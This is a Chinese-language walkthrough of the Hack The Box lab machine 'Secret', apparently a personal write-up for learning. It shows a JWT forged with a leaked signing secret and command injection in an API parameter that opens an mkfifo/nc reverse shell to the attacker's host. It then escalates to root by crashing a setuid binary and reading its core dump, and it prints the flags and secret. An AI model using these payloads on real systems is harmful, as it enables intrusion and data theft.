Hackthebox - Secret
靶场信息
靶场类型
信息搜集
首先进行端口扫描
┌──(root💀kali)-[~/Desktop]
└─# nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.120
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-08 02:09 EST
Nmap scan report for 10.10.11.120
Host is up (0.40s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=11/8%OT=22%CT=1%CU=33102%PV=Y%DS=2%DC=T%G=Y%TM=6188CD7
OS:B%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O
OS:3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 851.60 ms 10.10.14.1
2 713.96 ms 10.10.11.120
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.73 seconds
经过查看后发现80
端口和3000
端口内容一致
咱们去看看80
端口的内容
这好像是一个文件管理服务器之类的什么东西的?咱英文不好,咱也不知道,咱也不敢问
右上角有个按钮Live Demo
,反正点了也不会爆炸,点点看呗
这是API接口啊,但是好像没有内容,咱们往下看看
这里好像是可以下载源代码,管他的先下载下来看看呗
这应该是一个开源项目,然后还有git文件泄露,那就先下载下来嘛
下载下来后利用一下
/root/Desktop/GitTools/Extractor/extractor.sh local-web/ dump
内容比较多,咱们等他先下载完吧,等的时候可以去看会儿视频
┌──(root💀kali)-[~/Desktop/dump]
└─# ls -la
总用量 32
drwxr-xr-x 8 root root 4096 11月 29 20:53 .
drwxr-xr-x 6 root root 4096 11月 29 20:47 ..
drwxr-xr-x 7 root root 4096 11月 29 20:48 0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb
drwxr-xr-x 7 root root 4096 11月 29 20:50 1-55fe756a29268f9b4e786ae468952ca4a8df1bd8
drwxr-xr-x 7 root root 4096 11月 29 20:51 2-e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
drwxr-xr-x 7 root root 4096 11月 29 20:52 3-de0a46b5107a2f4d26e348303e76d85ae4870934
drwxr-xr-x 7 root root 4096 11月 29 20:53 4-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
drwxr-xr-x 7 root root 4096 11月 29 20:54 5-3a367e735ee76569664bf7754eaaade7c735d702
完成后可以看到有提取出六次数据,咱们随便进一个看看
┌──(root💀kali)-[~/Desktop/dump/0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb]
└─# ls -la
总用量 116
drwxr-xr-x 7 root root 4096 11月 29 20:48 .
drwxr-xr-x 8 root root 4096 11月 29 20:53 ..
-rw-r--r-- 1 root root 219 11月 29 20:47 commit-meta.txt
-rw-r--r-- 1 root root 174 11月 29 20:47 .env
-rw-r--r-- 1 root root 885 11月 29 20:47 index.js
drwxr-xr-x 2 root root 4096 11月 29 20:47 model
drwxr-xr-x 201 root root 4096 11月 29 20:48 node_modules
-rw-r--r-- 1 root root 491 11月 29 20:48 package.json
-rw-r--r-- 1 root root 69452 11月 29 20:48 package-lock.json
drwxr-xr-x 3 root root 4096 11月 29 20:48 public
drwxr-xr-x 2 root root 4096 11月 29 20:48 routes
drwxr-xr-x 4 root root 4096 11月 29 20:48 src
-rw-r--r-- 1 root root 651 11月 29 20:48 validations.js
可以确定是一个源码库了,突破口在/routes/auto.js
中
const router = require('express').Router();
const User = require('../model/user');
const bcrypt = require('bcryptjs')
const jwt = require('jsonwebtoken')
const { registerValidation, loginValidation} = require('../validations')
router.post('/register', async (req, res) => {
// validation
const { error } = registerValidation(req.body)
if (error) return res.status(400).send(error.details[0].message);
// check if user exists
const emailExist = await User.findOne({email:req.body.email})
if (emailExist) return res.status(400).send('Email already Exist')
// check if user name exist
const unameexist = await User.findOne({ name: req.body.name })
if (unameexist) return res.status(400).send('Name already Exist')
//hash the password
const salt = await bcrypt.genSalt(10);
const hashPaswrod = await bcrypt.hash(req.body.password, salt)
//create a user
const user = new User({
name: req.body.name,
email: req.body.email,
password:hashPaswrod
});
try{
const saveduser = await user.save();
res.send({ user: user.name})
}
catch(err){
console.log(err)
}
});
// login
router.post('/login', async (req , res) => {
const { error } = loginValidation(req.body)
if (error) return res.status(400).send(error.details[0].message);
// check if email is okay
const user = await User.findOne({ email: req.body.email })
if (!user) return res.status(400).send('Email is wrong');
// check password
const validPass = await bcrypt.compare(req.body.password, user.password)
if (!validPass) return res.status(400).send('Password is wrong');
// create jwt
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);
})
router.use(function (req, res, next) {
res.json({
message: {
message: "404 page not found",
desc: "page you are looking for is not found. "
}
})
});
module.exports = router
这是auto.js
内的源码,可以看出来有/register
来请求它
首先添加一个DNS解析
echo 10.10.11.120 secret.htb >> /etc/hosts
构造一个payload来注册用户
curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"name": "lucifiel","email": "lucifiel@lucifiel.com","password": "123456"}'
然后使用注册的用户进行登录
curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/login --data '{"email": "lucifiel@lucifiel.com","password": "123456"}'
┌──(root💀kali)-[~]
└─# curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/login --data '{"email": "lucifiel@lucifiel.com","password": "123456"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.120:80...
* Connected to secret.htb (10.10.11.120) port 80 (#0)
> POST /api/user/login HTTP/1.1
> Host: secret.htb
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 55
>
* upload completely sent off: 55 out of 55 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 06 Dec 2021 06:28:56 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 216
< Connection: keep-alive
< X-Powered-By: Express
< auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWFkYWNmZjMxNDY0ZjA0NWZkYWYzMjIiLCJuYW1lIjoibHVjaWZpZWwiLCJlbWFpbCI6Imx1Y2lmaWVsQGx1Y2lmaWVsLmNvbSIsImlhdCI6MTYzODc3MjEzNn0.i-XDDPEDPnogLpVNIKO-U4vQCyQqsIWCN5Ib_OjwSrM
< ETag: W/"d8-L4wZphXtP/sfJQE0ke71PfuUMnY"
<
* Connection #0 to host secret.htb left intact
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWFkYWNmZjMxNDY0ZjA0NWZkYWYzMjIiLCJuYW1lIjoibHVjaWZpZWwiLCJlbWFpbCI6Imx1Y2lmaWVsQGx1Y2lmaWVsLmNvbSIsImlhdCI6MTYzODc3MjEzNn0.i-XDDPEDPnogLpVNIKO-U4vQCyQqsIWCN5Ib_OjwSrM
成功登录并获取到token
查看并分析/routes/verifytoken.js
文件的内容
const jwt = require("jsonwebtoken");
module.exports = function (req, res, next) {
const token = req.header("auth-token");
if (!token) return res.status(401).send("Access Denied");
try {
const verified = jwt.verify(token, process.env.TOKEN_SECRET);
req.user = verified;
next();
} catch (err) {
res.status(400).send("Invalid Token");
}
};
我们知道了JWT令牌的验证过程,那我们就构造一个payload查看一下我们当前的权限
curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWFkYWNmZjMxNDY0ZjA0NWZkYWYzMjIiLCJuYW1lIjoibHVjaWZpZWwiLCJlbWFpbCI6Imx1Y2lmaWVsQGx1Y2lmaWVsLmNvbSIsImlhdCI6MTYzODc3MjEzNn0.i-XDDPEDPnogLpVNIKO-U4vQCyQqsIWCN5Ib_OjwSrM'
┌──(root💀kali)-[~]
└─# curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWFkYWNmZjMxNDY0ZjA0NWZkYWYzMjIiLCJuYW1lIjoibHVjaWZpZWwiLCJlbWFpbCI6Imx1Y2lmaWVsQGx1Y2lmaWVsLmNvbSIsImlhdCI6MTYzODc3MjEzNn0.i-XDDPEDPnogLpVNIKO-U4vQCyQqsIWCN5Ib_OjwSrM'
{"role":{"role":"you are normal user","desc":"lucifiel"}}
得到回包,我们是一个普通用户权限
┌──(root💀kali)-[~/Desktop/dump/0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb]
└─# cat .env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
查看根目录的.env
文件,得到了一段tokne
const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');
router.get('/priv', verifytoken, (req, res) => {
// res.send(req.user)
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
res.json({
role:{
role:"you are admin",
desc : "{flag will be here}"
}
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
router.use(function (req, res, next) {
res.json({
message: {
message: "404 page not found",
desc: "page you are looking for is not found. "
}
})
});
module.exports = router
通过查看private.js得知验证逻辑是只要name = theadmin 就是admin账户,那我们来伪造一个JWT令牌即可
使用在线JWT修改工具或jwt_tools进行JWT令牌修改都可以
在线工具
然后伪造一个admin的token就可以了
这里需要修改两个地方,把name处修改为theadmin,然后在下方框内填入我们在.env
获取到的token值,即可生成一段新的JWT令牌
JWT_Tools
python3 jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdlMjgxZWU2N2QzZTA4NTMzOGEzZjYiLCJuYW1lIjoib29wc2llIiwiZW1haWwiOiJvb3BzaWVAb29wcy5jb20iLCJpYXQiOjE2MzU2NTc4NTd9.7v-DST155DL_5yuhC9Zbe2rdyPiGCcd8aeYUucQLVzU
我们继续
┌──(root💀kali)-[~/Desktop/dump/0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb]
└─# curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWFkYWNmZjMxNDY0ZjA0NWZkYWYzMjIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Imx1Y2lmaWVsQGx1Y2lmaWVsLmNvbSIsImlhdCI6MTYzODc3MjEzNn0.FM3CbCKxrJ79hXwF02Rg3jsi5bpNeg1txPyb2nWbAA0'
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
我们去验证一下新的JWT令牌,发现已经是admin权限了
通过分析private.js文件,我们发现必须将文件名指定为带有名称文件的get参数
┌──(root💀kali)-[~/Desktop/dump/0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/routes]
└─# curl 'http://secret.htb/api/logs?file=/etc/passwd' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWFkYWNmZjMxNDY0ZjA0NWZkYWYzMjIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Imx1Y2lmaWVsQGx1Y2lmaWVsLmNvbSIsImlhdCI6MTYzODc3MjEzNn0.FM3CbCKxrJ79hXwF02Rg3jsi5bpNeg1txPyb2nWbAA0'
{"killed":false,"code":128,"signal":null,"cmd":"git log --oneline /etc/passwd"}
看着感觉像是命令注入?
漏洞利用
┌──(root💀kali)-[~/Desktop/dump/0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/routes]
└─# curl 'http://secret.htb/api/logs?file=;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWFkYWNmZjMxNDY0ZjA0NWZkYWYzMjIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Imx1Y2lmaWVsQGx1Y2lmaWVsLmNvbSIsImlhdCI6MTYzODc3MjEzNn0.FM3CbCKxrJ79hXwF02Rg3jsi5bpNeg1txPyb2nWbAA0'
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"
OK,确认漏洞是存在的,那么我们现在先使用nc监听一个端口
nc -nvlp 4444
然后接着构造一个payload来进行利用
┌──(root💀kali)-[~/Desktop/dump/0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/routes]
└─# curl 'http://secret.htb/api/logs?file=;rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+10.10.14.12+4444+%3E%2Ftmp%2Ff%0A%0A' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWFkYWNmZjMxNDY0ZjA0NWZkYWYzMjIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Imx1Y2lmaWVsQGx1Y2lmaWVsLmNvbSIsImlhdCI6MTYzODc3MjEzNn0.FM3CbCKxrJ79hXwF02Rg3jsi5bpNeg1txPyb2nWbAA0'
{"killed":false,"code":1,"signal":null,"cmd":"git log --oneline ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.12 4444 >/tmp/f\n\n"}
┌──(root💀kali)-[~]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.120] 40314
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c "import pty;pty.spawn('/bin/bash')";
dasith@secret:~/local-web$ whoami&&id
whoami&&id
dasith
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
成功获取到一个shell
dasith@secret:~/local-web$ cd
cd
dasith@secret:~$ ls
ls
local-web user.txt
dasith@secret:~$ cat user.txt
cat user.txt
2b3b6e0a590097b69da4de9631b570fd
成功获取到user权限的flag文件
权限提升
查看一下当前的可执行文件
find / -type f -perm -u=s 2>/dev/null
dasith@secret:~$ find / -type f -perm -u=s 2>/dev/null
find / -type f -perm -u=s 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
/snap/snapd/13640/usr/lib/snapd/snap-confine
/snap/snapd/13170/usr/lib/snapd/snap-confine
/snap/core20/1169/usr/bin/chfn
/snap/core20/1169/usr/bin/chsh
/snap/core20/1169/usr/bin/gpasswd
/snap/core20/1169/usr/bin/mount
/snap/core20/1169/usr/bin/newgrp
/snap/core20/1169/usr/bin/passwd
/snap/core20/1169/usr/bin/su
/snap/core20/1169/usr/bin/sudo
/snap/core20/1169/usr/bin/umount
/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1169/usr/lib/openssh/ssh-keysign
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/snap/core18/1944/bin/mount
/snap/core18/1944/bin/ping
/snap/core18/1944/bin/su
/snap/core18/1944/bin/umount
/snap/core18/1944/usr/bin/chfn
/snap/core18/1944/usr/bin/chsh
/snap/core18/1944/usr/bin/gpasswd
/snap/core18/1944/usr/bin/newgrp
/snap/core18/1944/usr/bin/passwd
/snap/core18/1944/usr/bin/sudo
/snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1944/usr/lib/openssh/ssh-keysign
获取到了一些可执行的二进制文件
我们把目光着眼放在/opt/count
上
dasith@secret:/opt$ cat code.c
cat code.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>
void dircount(const char *path, char *summary)
{
DIR *dir;
char fullpath[PATH_MAX];
struct dirent *ent;
struct stat fstat;
int tot = 0, regular_files = 0, directories = 0, symlinks = 0;
if((dir = opendir(path)) == NULL)
{
printf("\nUnable to open directory.\n");
exit(EXIT_FAILURE);
}
while ((ent = readdir(dir)) != NULL)
{
++tot;
strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
strcat(fullpath, "/");
strncat(fullpath, ent->d_name, strlen(ent->d_name));
if (!lstat(fullpath, &fstat))
{
if(S_ISDIR(fstat.st_mode))
{
printf("d");
++directories;
}
else if(S_ISLNK(fstat.st_mode))
{
printf("l");
++symlinks;
}
else if(S_ISREG(fstat.st_mode))
{
printf("-");
++regular_files;
}
else printf("?");
printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
printf((fstat.st_mode & S_IROTH) ? "r" : "-");
printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
}
else
{
printf("??????????");
}
printf ("\t%s\n", ent->d_name);
}
closedir(dir);
snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks);
printf("\n%s", summary);
}
void filecount(const char *path, char *summary)
{
FILE *file;
char ch;
int characters, words, lines;
file = fopen(path, "r");
if (file == NULL)
{
printf("\nUnable to open file.\n");
printf("Please check if file exists and you have read privilege.\n");
exit(EXIT_FAILURE);
}
characters = words = lines = 0;
while ((ch = fgetc(file)) != EOF)
{
characters++;
if (ch == '\n' || ch == '\0')
lines++;
if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
words++;
}
if (characters > 0)
{
words++;
lines++;
}
snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines);
printf("\n%s", summary);
}
int main()
{
char path[100];
int res;
struct stat path_s;
char summary[4096];
printf("Enter source file/directory name: ");
scanf("%99s", path);
getchar();
stat(path, &path_s);
if(S_ISDIR(path_s.st_mode))
dircount(path, summary);
else
filecount(path, summary);
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
printf("Save results a file? [y/N]: ");
res = getchar();
if (res == 121 || res == 89) {
printf("Path: ");
scanf("%99s", path);
FILE *fp = fopen(path, "a");
if (fp != NULL) {
fputs(summary, fp);
fclose(fp);
} else {
printf("Could not open %s for writing\n", path);
}
}
return 0;
}
这是count的源码,通过分析后得知
这里大多数情况下,如果我们在执行代码中崩溃了,报告通常会保存在/var/crash
中
在通常情况下,这是不可能的,但是通过这个pem设置prctl(PR_SET_DUMPABLE, 1);
,它可以被实现
由于它设置为1,我们可以产生核心转储,利用的话需要两个条件
- 首先需要确保有两个shell
- 可以导致崩溃
现在让我们去用上面漏洞利用的方式再获取一个shell
Shell 1
dasith@secret:/$ cd /opt
cd /opt
dasith@secret:/opt$ ./count -p
./count -p
Enter source file/directory name: /root/root.txt
/root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: y
y
执行后去shell 2让进程崩溃
Shell 2
dasith@secret:~/local-web$ cd /opt
cd /opt
dasith@secret:/opt$ ps -aux | grep count
ps -aux | grep count
root 862 0.0 0.1 235672 7480 ? Ssl 06:15 0:00 /usr/lib/accountsservice/accounts-daemon
root 1342 0.0 0.0 2488 516 ? S 06:50 0:00 ./count
root 1435 0.0 0.0 2488 588 ? S 06:54 0:00 ./count
dasith 1460 0.0 1.0 52448 41712 ? S 07:00 0:00 gdb ./count
dasith 1462 0.0 0.0 2488 600 ? S 07:00 0:00 /opt/count
root 1850 0.0 0.0 2488 592 pts/0 S+ 07:41 0:00 ./count -p
dasith 1885 0.0 0.0 2488 524 pts/4 S+ 07:43 0:00 ./count -p
dasith 1887 0.0 0.0 6432 740 pts/2 S+ 07:44 0:00 grep --color=auto count
dasith@secret:/opt$ kill -BUS 1885
kill -BUS 1885
然后再去shell1检查进程是否崩溃
Shell 1 第二次
Path: Bus error (core dumped)
已经看到这句提示了,但作为保险我们还是再验证一次
dasith@secret:/opt$ cd /var/crash
cd /var/crash
dasith@secret:/var/crash$ ls -la
ls -la
total 36
drwxrwxrwt 2 root root 4096 Dec 6 07:44 .
drwxr-xr-x 14 root root 4096 Aug 13 05:12 ..
-rw-r----- 1 dasith dasith 28207 Dec 6 07:44 _opt_count.1000.crash
这里可以看到已经生成了错误日志了,新建一个我们自己的目录,然后把文件拷贝过去
dasith@secret:/var/crash$ mkdir /tmp/lucifiel
mkdir /tmp/lucifiel
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/lucifiel
apport-unpack _opt_count.1000.crash /tmp/lucifiel
dasith@secret:/var/crash$ cd /tmp/lucifiel
cd /tmp/lucifiel
dasith@secret:/tmp/lucifiel$ ls -la
ls -la
total 436
drwxr-xr-x 2 dasith dasith 4096 Dec 6 07:51 .
drwxrwxrwt 13 root root 4096 Dec 6 07:49 ..
-rw-r--r-- 1 dasith dasith 5 Dec 6 07:51 Architecture
-rw-r--r-- 1 dasith dasith 380928 Dec 6 07:51 CoreDump
-rw-r--r-- 1 dasith dasith 24 Dec 6 07:51 Date
-rw-r--r-- 1 dasith dasith 12 Dec 6 07:51 DistroRelease
-rw-r--r-- 1 dasith dasith 10 Dec 6 07:51 ExecutablePath
-rw-r--r-- 1 dasith dasith 10 Dec 6 07:51 ExecutableTimestamp
-rw-r--r-- 1 dasith dasith 5 Dec 6 07:51 ProblemType
-rw-r--r-- 1 dasith dasith 10 Dec 6 07:51 ProcCmdline
-rw-r--r-- 1 dasith dasith 4 Dec 6 07:51 ProcCwd
-rw-r--r-- 1 dasith dasith 53 Dec 6 07:51 ProcEnviron
-rw-r--r-- 1 dasith dasith 2144 Dec 6 07:51 ProcMaps
-rw-r--r-- 1 dasith dasith 1336 Dec 6 07:51 ProcStatus
-rw-r--r-- 1 dasith dasith 1 Dec 6 07:51 Signal
-rw-r--r-- 1 dasith dasith 29 Dec 6 07:51 Uname
-rw-r--r-- 1 dasith dasith 3 Dec 6 07:51 UserGroups
我们可以看到有一个CoreDump文件,我们将其以字符串形式输出
dasith@secret:/tmp/lucifiel$ strings CoreDump
strings CoreDump
CORE
CORE
count
./count -p
IGISCORE
CORE
ELIFCORE
/opt/count
/opt/count
/opt/count
/opt/count
/opt/count
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
CORE
////////////////
Path:
Could
LINUX
////////////////
Path:
Could
TUUU
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
exit
readdir
fopen
closedir
__isoc99_scanf
strncpy
__stack_chk_fail
putchar
fgetc
strlen
prctl
getchar
fputs
fclose
opendir
getuid
strncat
__cxa_finalize
__libc_start_main
snprintf
__xstat
__lxstat
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
Unable to open directory.
??????????
Total entries = %d
Regular files = %d
Directories = %d
Symbolic links = %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters = %d
Total words = %d
Total lines = %d
Enter source file/directory name:
%99s
Save results a file? [y/N]:
Path:
Could not open %s for writing
:*3$"
Path: esults a file? [y/N]: words = 2
Total lines = 2
oot/root.txt
1bf72c039cbd58751b38c6916602f537
aliases
ethers
group
gshadow
hosts
initgroups
netgroup
networks
passwd
protocols
publickey
services
shadow
CAk[S
libc.so.6
/lib/x86_64-linux-gnu
libc.so.6
uTi7J
|F:m
_rtld_global
__get_cpu_features
_dl_find_dso_for_object
_dl_make_stack_executable
_dl_exception_create
__libc_stack_end
_dl_catch_exception
malloc
_dl_deallocate_tls
_dl_signal_exception
__tunable_get_val
__libc_enable_secure
__tls_get_addr
_dl_get_tls_static_info
calloc
_dl_exception_free
_dl_debug_state
_dl_argv
_dl_allocate_tls_init
_rtld_global_ro
realloc
_dl_rtld_di_serinfo
_dl_mcount
_dl_allocate_tls
_dl_signal_error
_dl_exception_create_format
_r_debug
_dl_catch_error
ld-linux-x86-64.so.2
GLIBC_2.2.5
GLIBC_2.3
GLIBC_2.4
GLIBC_PRIVATE
sse2
x86_64
avx512_1
i586
i686
haswell
xeon_phi
linux-vdso.so.1
tls/haswell/avx512_1/x86_64/tls/haswell/x86_64/tls/avx512_1/x86_64/tls/x86_64/
/lib/x86_64-linux-gnu/libc.so.6
%%%%%%%%%%%%%%%%
////////////////
ory name:
%99s
/root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
cI,b
x86_64
./count
SHELL=/bin/sh
versioning=[object Object]
unstable_restarts=0
treekill=true
env=[object Object]
filter_env=
namespace=default
restart_time=0
DB_CONNECT=mongodb://127.0.0.1:27017/auth-web
axm_options=[object Object]
vizion_running=false
PWD=/opt
LOGNAME=dasith
PM2_USAGE=CLI
exec_interpreter=node
PM2_HOME=/home/dasith/.pm2
HOME=/home/dasith
NODE_APP_INSTANCE=0
LANG=en_US.UTF-8
LS_COLORS=
pm_id=0
version=1.0.0
pm_uptime=1638771355228
km_link=false
pm_cwd=/home/dasith/local-web
axm_monitor=[object Object]
instance_var=NODE_APP_INSTANCE
pmx=true
unique_id=340d74ce-a3fa-4484-a533-bfcb827fe92c
LESSCLOSE=/usr/bin/lesspipe %s %s
vizion=true
username=dasith
LESSOPEN=| /usr/bin/lesspipe %s
watch=false
windowsHide=true
automation=true
axm_actions=
SHLVL=1
TOKEN_SECRET=gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
PM2_INTERACTOR_PROCESSING=true
created_at=1633619800035
merge_logs=true
pm_pid_path=/home/dasith/.pm2/pids/index-0.pid
PATH=/usr/bin:/bin
pm_err_log_path=/home/dasith/.pm2/logs/index-error.log
node_version=10.19.0
kill_retry_time=100
autorestart=true
axm_dynamic=[object Object]
